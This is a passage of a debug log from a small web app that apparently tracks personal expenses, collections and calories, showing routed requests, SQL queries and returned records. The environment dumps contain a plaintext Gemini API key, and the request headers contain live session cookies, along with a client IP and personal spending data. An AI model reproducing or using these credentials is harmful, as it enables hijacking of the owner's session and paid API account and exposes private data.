    HTTP_COOKIE: 'security.auth=s%3AMuLB3%2FzGs2fzEmPFKThS5w%3D%3D.KjoCGQW5mH%2Fl82KYMdgA0Mya9ql%2FuEUj4Yh%2B%2FYirTEFvfXR8XbFlE8DUGgRfpgGcVHgO801SwIbuSLDlmYFX2EY76gmjji%2BLw1sGYvz1mpGDCnKpn8tsWiQLUJ%2BVYgYhY%2FrsIChTQzTurAXDbpY%2B5AfaL9Y7fr54VSK7uB5R3V0%3D.rdSmePIe19EP7aLWTq97JNm3BRZIC5f5hXsaHQj8lWg; your_r_git.sid=s%3AuPSkpRPN-LydnLUHfl-fh8ubiOo9U9p4.7wasnoN1Vhc%2FfdIWOAAPSNdUV3LLuOQWcfjxASASOqA',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-13T13:24:35.467Z server-connect:router Serving serverConnect /api/masters/collections/get-collections
2025-12-13T13:24:35.468Z server-connect:app Executing action step identify
2025-12-13T13:24:35.468Z server-connect:app options: { provider: 'security' }
2025-12-13T13:24:35.469Z server-connect:output identity: 1
2025-12-13T13:24:35.469Z server-connect:app Executing action step restrict
2025-12-13T13:24:35.469Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T13:24:35.469Z server-connect:router Serving serverConnect /api/masters/collections/collection-category
2025-12-13T13:24:35.470Z server-connect:output restrict: undefined
2025-12-13T13:24:35.470Z server-connect:app Executing action step paged
2025-12-13T13:24:35.470Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `collections`.`name`, `collections`.`id`, `collections`.`collectiontype_id`, `collection_type`.`name` as `collection_type` from `collections` inner join `collection_type` on `collection_type`.`id` = `collections`.`collectiontype_id` where (`collections`.`name` like ? or `collection_type`.`name` like ?) and (`collections`.`collectiontype_id` = ?)',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2025-12-13T13:24:35.471Z server-connect:app Executing action step identify
2025-12-13T13:24:35.471Z server-connect:app options: { provider: 'security' }
2025-12-13T13:24:35.471Z server-connect:output identity: 1
2025-12-13T13:24:35.471Z server-connect:app Executing action step restrict
2025-12-13T13:24:35.471Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T13:24:35.473Z server-connect:output restrict: undefined
2025-12-13T13:24:35.473Z server-connect:app Executing action step select
2025-12-13T13:24:35.473Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'collection_type' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `name` from `collection_type` where `collection_type`.`deleted` = ?'
  }
}
2025-12-13T13:24:35.473Z server-connect:output records: {
  offset: 0,
  limit: 25,
  total: 172,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      name: 'Account Deposit',
      id: 19,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Salary Credit',
      id: 20,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'ATM Withdrawal',
      id: 21,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Account Transfer',
      id: 22,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Credit Card Payment',
      id: 25,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Card Swipe',
      id: 26,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Direct Payment',
      id: 38,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Auto Debit',
      id: 39,
      collectiontype_id: 5,
      collection_type: 'Account Transactions'
    },
    {
      name: 'Savings',
      id: 14,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Current',
      id: 15,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Petty Cash',
      id: 18,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Credit Card',
      id: 24,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Demat',
      id: 43,
      collectiontype_id: 3,
      collection_type: 'Account Type'
    },
    {
      name: 'Hotwheels',
      id: 71,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Majorette',
      id: 72,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Matchbox',
      id: 73,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Bburago',
      id: 74,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Maisto',
      id: 143,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'CCA',
      id: 158,
      collectiontype_id: 9,
      collection_type: 'Diecast Brand'
    },
    {
      name: 'Mainline',
      id: 75,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Premium',
      id: 76,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Treasure Hunt',
      id: 77,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Super Treasure Hunt',
      id: 78,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'Car Culture',
      id: 79,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    },
    {
      name: 'HW Red Line Club',
      id: 80,
      collectiontype_id: 10,
      collection_type: 'Diecast Series'
    }
  ]
}
2025-12-13T13:24:35.474Z server-connect:output list: [
  { id: 1, name: 'Unit' },
  { id: 2, name: 'Transaction Type' },
  { id: 3, name: 'Account Type' },
  { id: 4, name: 'Loan Mode' },
  { id: 5, name: 'Account Transactions' },
  { id: 6, name: 'Trading Platform' },
  { id: 7, name: 'Loan Type' },
  { id: 8, name: 'Supplement Brand' },
  { id: 9, name: 'Diecast Brand' },
  { id: 10, name: 'Diecast Series' },
  { id: 11, name: 'Vehicle Brand' }
]
2025-12-13T13:24:39.708Z server-connect:router Serving templateView /expense/list
2025-12-13T13:24:39.708Z server-connect:app Executing action step identify
2025-12-13T13:24:39.708Z server-connect:app options: { provider: 'security' }
2025-12-13T13:24:39.708Z server-connect:output identity: 1
2025-12-13T13:24:39.708Z server-connect:app Executing action step restrict
2025-12-13T13:24:39.708Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-13T13:24:39.708Z server-connect:output restrict: undefined
2025-12-13T13:24:39.708Z server-connect:router Render template expense/list
2025-12-13T13:24:39.709Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"macOS"',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/expense/list',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"2b68-B9oZT3XHQSJEbivxBfqAVC9dYcw"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AMuLB3%2FzGs2fzEmPFKThS5w%3D%3D.KjoCGQW5mH%2Fl82KYMdgA0Mya9ql%2FuEUj4Yh%2B%2FYirTEFvfXR8XbFlE8DUGgRfpgGcVHgO801SwIbuSLDlmYFX2EY76gmjji%2BLw1sGYvz1mpGDCnKpn8tsWiQLUJ%2BVYgYhY%2FrsIChTQzTurAXDbpY%2B5AfaL9Y7fr54VSK7uB5R3V0%3D.rdSmePIe19EP7aLWTq97JNm3BRZIC5f5hXsaHQj8lWg; your_r_git.sid=s%3AuPSkpRPN-LydnLUHfl-fh8ubiOo9U9p4.7wasnoN1Vhc%2FfdIWOAAPSNdUV3LLuOQWcfjxASASOqA',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-14T13:20:11.898Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/expense/list',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/expense/list',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/expense/list',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"2b68-B9oZT3XHQSJEbivxBfqAVC9dYcw"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AMuLB3%2FzGs2fzEmPFKThS5w%3D%3D.KjoCGQW5mH%2Fl82KYMdgA0Mya9ql%2FuEUj4Yh%2B%2FYirTEFvfXR8XbFlE8DUGgRfpgGcVHgO801SwIbuSLDlmYFX2EY76gmjji%2BLw1sGYvz1mpGDCnKpn8tsWiQLUJ%2BVYgYhY%2FrsIChTQzTurAXDbpY%2B5AfaL9Y7fr54VSK7uB5R3V0%3D.rdSmePIe19EP7aLWTq97JNm3BRZIC5f5hXsaHQj8lWg; your_r_git.sid=s%3AuPSkpRPN-LydnLUHfl-fh8ubiOo9U9p4.7wasnoN1Vhc%2FfdIWOAAPSNdUV3LLuOQWcfjxASASOqA',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-13T13:24:39.925Z server-connect:router Serving serverConnect /api/expense/list
2025-12-13T13:24:39.926Z server-connect:app Executing action step identify
2025-12-13T13:24:39.926Z server-connect:app options: { provider: 'security' }
2025-12-13T13:24:39.926Z server-connect:output identity: 1
2025-12-13T13:24:39.926Z server-connect:app Executing action step restrict
2025-12-13T13:24:39.926Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T13:24:39.927Z server-connect:router Serving serverConnect /api/masters/get-tags
2025-12-13T13:24:39.927Z server-connect:output restrict: undefined
2025-12-13T13:24:39.927Z server-connect:app Executing action step paged
2025-12-13T13:24:39.927Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'expense' },
    primary: 'id',
    joins: [ [Object], [Object] ],
    query: 'select `expense`.`invoice_number`, `expense`.`quantity`, `expense`.`purchase_date`, `expense`.`receipt_url`, `expense`.`remark`, `expense`.`amount`, `sc`.`subcategory_name` as `item_name`, `c1`.`name` as `unit` from `expense` inner join `sub_categories` as `sc` on `sc`.`id` = `expense`.`category_id` inner join `collections` as `c1` on `c1`.`id` = `expense`.`unit` where (`expense`.`amount` = ? or `sc`.`subcategory_name` like ? or `c1`.`name` like ?) order by `expense`.`purchase_date` DESC',
    orders: [ [Object] ],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2025-12-13T13:24:39.928Z server-connect:app Executing action step identify
2025-12-13T13:24:39.928Z server-connect:app options: { provider: 'security' }
2025-12-13T13:24:39.928Z server-connect:output identity: 1
2025-12-13T13:24:39.928Z server-connect:app Executing action step restrict
2025-12-13T13:24:39.928Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T13:24:39.929Z server-connect:output restrict: undefined
2025-12-13T13:24:39.929Z server-connect:app Executing action step select
2025-12-13T13:24:39.929Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'm_tags' },
    primary: 'id',
    joins: [],
    query: 'select `id`, `tag` from `m_tags`'
  }
}
2025-12-13T13:24:39.930Z server-connect:output list: [
  { id: 1, tag: 'Gadgets' },
  { id: 2, tag: 'Waste of money' },
  { id: 3, tag: 'Relax' },
  { id: 4, tag: 'Luxury' },
  { id: 5, tag: 'Needs' },
  { id: 6, tag: 'Swiggy' },
  { id: 7, tag: 'Zomato' },
  { id: 8, tag: 'Bills' },
  { id: 9, tag: 'EMIs' },
  { id: 10, tag: 'Blinkit' },
  { id: 11, tag: 'Instamart' }
]
2025-12-13T13:24:39.935Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 1955,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 1950 },
    current: 1,
    total: 79
  },
  data: [
    {
      invoice_number: 1239,
      quantity: '1.00',
      purchase_date: '2025-12-07T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '189.00',
      item_name: 'Clothing',
      unit: 'Other'
    },
    {
      invoice_number: 1244,
      quantity: '1.00',
      purchase_date: '2025-12-07T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '300.00',
      item_name: 'Gas Bill',
      unit: 'Other'
    },
    {
      invoice_number: 1237,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '95.00',
      item_name: 'App Subscription',
      unit: 'Other'
    },
    {
      invoice_number: 1238,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '348.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1240,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '110.00',
      item_name: 'fruits',
      unit: 'Other'
    },
    {
      invoice_number: 1242,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '72.00',
      item_name: 'Paneer',
      unit: 'Other'
    },
    {
      invoice_number: 1242,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '80.00',
      item_name: 'Paneer Masala',
      unit: 'Other'
    },
    {
      invoice_number: 1231,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '55.00',
      item_name: 'Milk',
      unit: 'Other'
    },
    {
      invoice_number: 1232,
      quantity: '2.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '210.00',
      item_name: 'Petrol',
      unit: 'Litres'
    },
    {
      invoice_number: 1233,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '585.00',
      item_name: 'Vegetables',
      unit: 'Other'
    },
    {
      invoice_number: 1234,
      quantity: '8.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '1432.00',
      item_name: 'HotWheels',
      unit: 'Piece'
    },
    {
      invoice_number: 1235,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '397.00',
      item_name: 'Connecto',
      unit: 'Other'
    },
    {
      invoice_number: 1236,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '111.00',
      item_name: 'Online Order',
      unit: 'Other'
    },
    {
      invoice_number: 1230,
      quantity: '1.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '118.00',
      item_name: 'Connecto',
      unit: 'Other'
    },
    {
      invoice_number: 1230,
      quantity: '1.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '110.00',
      item_name: 'Raw Chicken',
      unit: 'Other'
    },
    {
      invoice_number: 1230,
      quantity: '30.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '120.00',
      item_name: 'Egg',
      unit: 'Other'
    },
    {
      invoice_number: 1243,
      quantity: '2.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '184.00',
      item_name: 'GoodKnight Liquid',
      unit: 'Piece'
    },
    {
      invoice_number: 1243,
      quantity: '1.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '519.00',
      item_name: 'Pre workout muscle blaze',
      unit: 'Other'
    },
    {
      invoice_number: 1227,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '3818.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1228,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '20.00',
      item_name: 'Pani Puri',
      unit: 'Other'
    },
    {
      invoice_number: 1228,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '230.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1229,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '143.00',
      item_name: 'Connecto',
      unit: 'Other'
    },
    {
      invoice_number: 1219,
      quantity: '2.00',
      purchase_date: '2025-12-02T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '210.00',
      item_name: 'Petrol',
      unit: 'Litres'
    },
    {
      invoice_number: 1220,
      quantity: '1.00',
      purchase_date: '2025-12-02T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '125.00',
      item_name: 'HotWheels World',
      unit: 'Other'
    },
    {
      invoice_number: 1221,
      quantity: '1.00',
      purchase_date: '2025-12-02T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '71.00',
      item_name: 'Vegetables',
      unit: 'Other'
    }
  ]
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-13 14:19:38' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-13 14:19:38' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-13 14:20:01' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-13 14:20:01' as DATETIME)"
}
2025-12-13T14:35:30.419Z server-connect:router Serving templateView /calorie-tracker
2025-12-13T14:35:30.420Z server-connect:router Serving templateView /weight-trackor
2025-12-13T14:35:30.420Z server-connect:router Serving templateView /calorie-tracker
2025-12-13T14:35:30.421Z server-connect:app Executing action step identify
2025-12-13T14:35:30.421Z server-connect:app options: { provider: 'security' }
2025-12-13T14:35:30.421Z server-connect:output identity: 1
2025-12-13T14:35:30.421Z server-connect:app Executing action step restrict
2025-12-13T14:35:30.421Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-13T14:35:30.421Z server-connect:app Executing action step identify
2025-12-13T14:35:30.421Z server-connect:app options: { provider: 'security' }
2025-12-13T14:35:30.422Z server-connect:output identity: 1
2025-12-13T14:35:30.422Z server-connect:app Executing action step restrict
2025-12-13T14:35:30.422Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-13T14:35:30.422Z server-connect:app Executing action step identify
2025-12-13T14:35:30.422Z server-connect:app options: { provider: 'security' }
2025-12-13T14:35:30.422Z server-connect:output identity: 1
2025-12-13T14:35:30.422Z server-connect:app Executing action step restrict
2025-12-13T14:35:30.422Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-13T14:35:30.423Z server-connect:output restrict: undefined
2025-12-13T14:35:30.423Z server-connect:router Render template layouts/main
2025-12-13T14:35:30.424Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/login',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"12b52-0d2A05mHiBW1SmaE1c2HqCHEd/k"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AMuLB3%2FzGs2fzEmPFKThS5w%3D%3D.KjoCGQW5mH%2Fl82KYMdgA0Mya9ql%2FuEUj4Yh%2B%2FYirTEFvfXR8XbFlE8DUGgRfpgGcVHgO801SwIbuSLDlmYFX2EY76gmjji%2BLw1sGYvz1mpGDCnKpn8tsWiQLUJ%2BVYgYhY%2FrsIChTQzTurAXDbpY%2B5AfaL9Y7fr54VSK7uB5R3V0%3D.rdSmePIe19EP7aLWTq97JNm3BRZIC5f5hXsaHQj8lWg; your_r_git.sid=s%3AuPSkpRPN-LydnLUHfl-fh8ubiOo9U9p4.7wasnoN1Vhc%2FfdIWOAAPSNdUV3LLuOQWcfjxASASOqA',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-14T13:20:11.898Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
